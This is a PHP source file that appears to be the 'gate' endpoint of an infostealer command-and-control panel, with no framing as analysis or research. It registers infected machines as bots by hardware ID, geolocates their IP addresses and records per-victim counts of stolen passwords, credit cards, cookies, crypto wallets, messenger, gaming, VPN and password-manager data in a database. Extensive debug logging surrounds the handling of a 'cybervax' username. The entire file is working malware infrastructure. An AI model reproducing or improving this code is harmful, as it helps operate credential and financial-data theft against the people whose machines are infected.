<?php
//error_reporting(0);
include("config.php");
require_once("Panel/update_stats.php"); // Include the unified statistics function

// Debug log with timestamp
function log_debug($message) {
    file_put_contents("gate_detailed.log", date('Y-m-d H:i:s') . " - " . $message . "\n", FILE_APPEND);
}

// Log raw request at the start
log_debug("==== NEW REQUEST ====");
log_debug("REQUEST_METHOD: " . $_SERVER['REQUEST_METHOD']);
log_debug("REMOTE_ADDR: " . $_SERVER['REMOTE_ADDR']);
log_debug("USER_AGENT: " . $_SERVER['HTTP_USER_AGENT'] ?? 'Not provided');
log_debug("POST data: " . print_r($_POST, true));
log_debug("GET data: " . print_r($_GET, true));

// Read and log raw input
$raw_input = file_get_contents('php://input');
log_debug("Raw input length: " . strlen($raw_input) . " bytes");
if (!empty($raw_input)) {
    log_debug("Raw input: " . $raw_input);
}

// Function to extract value from any possible source
function get_param($param_name, $default = null) {
    // Check standard POST
    if (isset($_POST[$param_name])) {
        log_debug("Found '{$param_name}' in POST: " . $_POST[$param_name]);
        return $_POST[$param_name];
    }
    
    // Check GET parameters
    if (isset($_GET[$param_name])) {
        log_debug("Found '{$param_name}' in GET: " . $_GET[$param_name]);
        return $_GET[$param_name];
    }
    
    // Try to extract from raw input
    $raw_input = file_get_contents('php://input');
    if (!empty($raw_input)) {
        // Try URL encoding pattern match
        if (preg_match('/' . preg_quote($param_name) . '=([^&]+)/i', $raw_input, $matches)) {
            $value = urldecode($matches[1]);
            log_debug("Found '{$param_name}' in raw input pattern match: " . $value);
            return $value;
        }
        
        // Try parsing as URL-encoded
        $parsed = array();
        parse_str($raw_input, $parsed);
        if (isset($parsed[$param_name])) {
            log_debug("Found '{$param_name}' in parsed URL-encoded data: " . $parsed[$param_name]);
            return $parsed[$param_name];
        }
        
        // Try JSON
        $json_data = json_decode($raw_input, true);
        if (json_last_error() === JSON_ERROR_NONE && isset($json_data[$param_name])) {
            log_debug("Found '{$param_name}' in JSON data: " . $json_data[$param_name]);
            return $json_data[$param_name];
        }
    }
    
    // Return default if not found
    log_debug("'{$param_name}' not found, using default: " . ($default ?? 'null'));
    return $default;
}

// Get parameters using our universal function
$hwid = get_param('hwid', '');
$username = get_param('username', '');

// ADDITIONAL DEBUG: specifically verify POST username parameter
if (isset($_POST['username'])) {
    $original_post_username = $_POST['username'];
    error_log("GATE CRITICAL DEBUG: POST username parameter exists: '$original_post_username'");
    
    // Force the username to exactly match what was posted
    $username = $original_post_username;
    error_log("GATE CRITICAL DEBUG: Using exact POST username: '$username'");
} else {
    error_log("GATE CRITICAL DEBUG: POST username parameter is NOT set!");
}

// ENHANCED VALIDATION: Check if we received a completely empty request
if (empty($_POST) && empty($_GET) && empty($raw_input)) {
    log_debug("ALERT: Completely empty request received, rejecting");
    echo "Error: Empty request";
    exit;
}

// DEBUG: Log exactly what we received for username
error_log("GATE DEBUG: Initial username value: '" . $username . "'");
log_debug("GATE DEBUG: Initial username value: '" . $username . "'");

// Force username to be a string and trim any whitespace
$username = trim((string)$username);

// DEBUG: Log after trimming
error_log("GATE DEBUG: Username after trim: '" . $username . "'");
log_debug("GATE DEBUG: Username after trim: '" . $username . "'");

// Validate required parameters
if (empty($hwid) || empty($username)) {
    $missing = [];
    if (empty($hwid)) $missing[] = 'hwid';
    if (empty($username)) $missing[] = 'username';
    
    $error_message = "Missing required parameters: " . implode(', ', $missing);
    log_debug("ERROR: " . $error_message);
    echo "Error: " . $error_message;
    exit;
}

// ENHANCED VALIDATION: Reject 'cybervax' username if it wasn't explicitly provided
if ($username === 'cybervax') {
    // If it came from default, it shouldn't be 'cybervax'
    log_debug("ALERT: 'cybervax' username detected - checking if it was explicitly provided");
    
    $cybervax_explicitly_provided = false;
    
    // Check if 'cybervax' was explicitly provided in any input source
    if (isset($_POST['username']) && $_POST['username'] === 'cybervax') {
        $cybervax_explicitly_provided = true;
    } elseif (isset($_GET['username']) && $_GET['username'] === 'cybervax') {
        $cybervax_explicitly_provided = true;
    } elseif (!empty($raw_input)) {
        if (strpos($raw_input, 'username=cybervax') !== false) {
            $cybervax_explicitly_provided = true;
        } else {
            $json_data = json_decode($raw_input, true);
            if (json_last_error() === JSON_ERROR_NONE && 
                isset($json_data['username']) && 
                $json_data['username'] === 'cybervax') {
                $cybervax_explicitly_provided = true;
            }
        }
    }
    
    if (!$cybervax_explicitly_provided) {
        log_debug("ERROR: 'cybervax' username was not explicitly provided - rejecting request");
        echo "Error: Invalid username";
        exit;
    }
}

log_debug("Using username: " . $username . " (from request: YES)");

// Get other parameters with integer defaults
$passwords = (int)get_param('Passwords', 0);
$creditcards = (int)get_param('CreditCards', 0);
$cookies = (int)get_param('Cookies', 0);
$autofill = (int)get_param('AutoFill', 0);
$wallets = (int)get_param('Wallets', 0);
$vpn = (int)get_param('VPN', 0);
$telegram = (int)get_param('Telegram', 0);
$steam = (int)get_param('Steam', 0);
$gaming = (int)get_param('Gaming', 0);
$othermessengers = (int)get_param('OtherMessengers', 0);
$discord = (int)get_param('Discord', 0);
$devtools = (int)get_param('DevTools', 0);
$emailclients = (int)get_param('EmailClients', 0);
$passwordmanagers = (int)get_param('PasswordManagers', 0);
$remoteaccess = (int)get_param('RemoteAccess', 0);
$cloudstorage = (int)get_param('CloudStorage', 0);
$browserextended = (int)get_param('BrowserExtended', 0);

log_debug("Final parameters - HWID: {$hwid}, Username: {$username}");

// Current time
$d = date('Y/m/d h:i:s a', time());

// Get IP and country
$ip = $_SERVER['REMOTE_ADDR'];
$loc = json_decode(file_get_contents('http://ip-api.com/json/'.$ip), true);
$c = isset($loc['countryCode']) ? $loc['countryCode'] : '';

// DEBUG: Dump full request data for investigation
error_log("GATE DEBUG: Full POST data: " . print_r($_POST, true));
error_log("GATE DEBUG: Full GET data: " . print_r($_GET, true));
log_debug("GATE DEBUG: Full POST data: " . print_r($_POST, true));
log_debug("GATE DEBUG: Full GET data: " . print_r($_GET, true));

try {
    // Start transaction to ensure all database operations are atomic
    mysqli_begin_transaction($condb);
    
    // STEP 1: Update or insert the bot record
    $check_bot = "SELECT COUNT(*) as count FROM bot WHERE HWID = ?";
    $stmt = mysqli_prepare($condb, $check_bot);
    mysqli_stmt_bind_param($stmt, "s", $hwid);
    mysqli_stmt_execute($stmt);
    $result = mysqli_stmt_get_result($stmt);
    $bot_exists = mysqli_fetch_assoc($result)['count'] > 0;
    
    if ($bot_exists) {
        // Update existing bot - without username since we lack ALTER permissions
        $bot_update = "UPDATE bot SET Date_Time = ?, IP = ?, Country = ? WHERE HWID = ?";
        $stmt = mysqli_prepare($condb, $bot_update);
        mysqli_stmt_bind_param($stmt, "ssss", $d, $ip, $c, $hwid);
        mysqli_stmt_execute($stmt);
        log_debug("Updated existing bot record with HWID: " . $hwid);
    } else {
        // Insert new bot - without username since we lack ALTER permissions
        $bot_insert = "INSERT INTO bot (IP, HWID, Date_Time, Country) VALUES (?, ?, ?, ?)";
        $stmt = mysqli_prepare($condb, $bot_insert);
        mysqli_stmt_bind_param($stmt, "ssss", $ip, $hwid, $d, $c);
        mysqli_stmt_execute($stmt);
        log_debug("Inserted new bot record with HWID: " . $hwid);
    }
    
    // STEP 2: Use our unified statistics function to update all stats
    // Create request data array from all possible parameters
    $requestData = [
        'hwid' => $hwid,
        'username' => $username,
        'ip' => $ip,
        'country' => $c,
        'Passwords' => get_param('Passwords', 0),
        'CreditCards' => get_param('CreditCards', 0),
        'Cookies' => get_param('Cookies', 0),
        'AutoFill' => get_param('AutoFill', 0),
        'Wallets' => get_param('Wallets', 0),
        'VPN' => get_param('VPN', 0),
        'Telegram' => get_param('Telegram', 0),
        'Steam' => get_param('Steam', 0),
        'Gaming' => get_param('Gaming', 0),
        'OtherMessengers' => get_param('OtherMessengers', 0),
        'Discord' => get_param('Discord', 0),
        'DevTools' => get_param('DevTools', 0),
        'EmailClients' => get_param('EmailClients', 0),
        'PasswordManagers' => get_param('PasswordManagers', 0),
        'RemoteAccess' => get_param('RemoteAccess', 0),
        'CloudStorage' => get_param('CloudStorage', 0),
        'BrowserExtended' => get_param('BrowserExtended', 0)
    ];
    
    // DEBUG: Log the data we're sending to the statistics function
    error_log("GATE DEBUG: Sending to updateBotStatistics - username: '" . $username . "', hwid: '" . $hwid . "'");
    log_debug("GATE DEBUG: Sending to updateBotStatistics - username: '" . $username . "', hwid: '" . $hwid . "'");
    
    // Update statistics with our unified function
    $stats = updateBotStatistics($hwid, $username, $requestData);
    log_debug("GATE DEBUG: updateBotStatistics returned stats: " . print_r($stats, true));
    
    // DEBUG: Query logs table to see what was actually saved
    $check_saved = "SELECT username FROM logs WHERE hwid = ? ORDER BY last_updated DESC LIMIT 1";
    $stmt = mysqli_prepare($condb, $check_saved);
    mysqli_stmt_bind_param($stmt, "s", $hwid);
    mysqli_stmt_execute($stmt);
    $result = mysqli_stmt_get_result($stmt);
    if ($row = mysqli_fetch_assoc($result)) {
        $saved_username = $row['username'];
        error_log("GATE DEBUG: Username actually saved in database: '" . $saved_username . "'");
        log_debug("GATE DEBUG: Username actually saved in database: '" . $saved_username . "'");
        
        // ENHANCED VALIDATION: Verify the username was saved correctly
        if ($saved_username !== $username) {
            log_debug("ALERT: Username mismatch! Sent: '{$username}', Saved: '{$saved_username}'");
            
            // If it became 'cybervax', delete it and error out
            if ($saved_username === 'cybervax' && $username !== 'cybervax') {
                $delete_query = "DELETE FROM logs WHERE hwid = ? AND username = 'cybervax'";
                $stmt = mysqli_prepare($condb, $delete_query);
                mysqli_stmt_bind_param($stmt, "s", $hwid);
                mysqli_stmt_execute($stmt);
                log_debug("CLEANUP: Deleted unexpected 'cybervax' record");
                
                throw new Exception("Username was incorrectly changed to 'cybervax' - request was rejected");
            }
        }
    } else {
        error_log("GATE DEBUG: No record found after save operation!");
        log_debug("GATE DEBUG: No record found after save operation!");
    }
    
    // Commit the transaction
    mysqli_commit($condb);
    
    echo "OK";
    log_debug("Request processed successfully");
    
    // Save a copy of all log data for this request to a special file for analysis
    $log_copy = "==== REQUEST COMPLETED SUCCESSFULLY ====\n";
    $log_copy .= "Time: " . date('Y-m-d H:i:s') . "\n";
    $log_copy .= "HWID: " . $hwid . "\n";
    $log_copy .= "Username: " . $username . "\n";
    $log_copy .= "REQUEST_METHOD: " . $_SERVER['REQUEST_METHOD'] . "\n";
    $log_copy .= "REMOTE_ADDR: " . $_SERVER['REMOTE_ADDR'] . "\n";
    $log_copy .= "USER_AGENT: " . ($_SERVER['HTTP_USER_AGENT'] ?? 'Not provided') . "\n";
    $log_copy .= "Raw input length: " . strlen($raw_input) . " bytes\n";
    if (!empty($raw_input)) {
        $log_copy .= "Raw input: " . $raw_input . "\n";
    }
    $log_copy .= "POST data: " . print_r($_POST, true) . "\n";
    $log_copy .= "GET data: " . print_r($_GET, true) . "\n";
    file_put_contents("successful_requests.log", $log_copy, FILE_APPEND);
    
} catch (Exception $e) {
    // Rollback the transaction on error
    mysqli_rollback($condb);
    
    log_debug("Error: " . $e->getMessage());
    echo "Error: " . $e->getMessage();
}
?>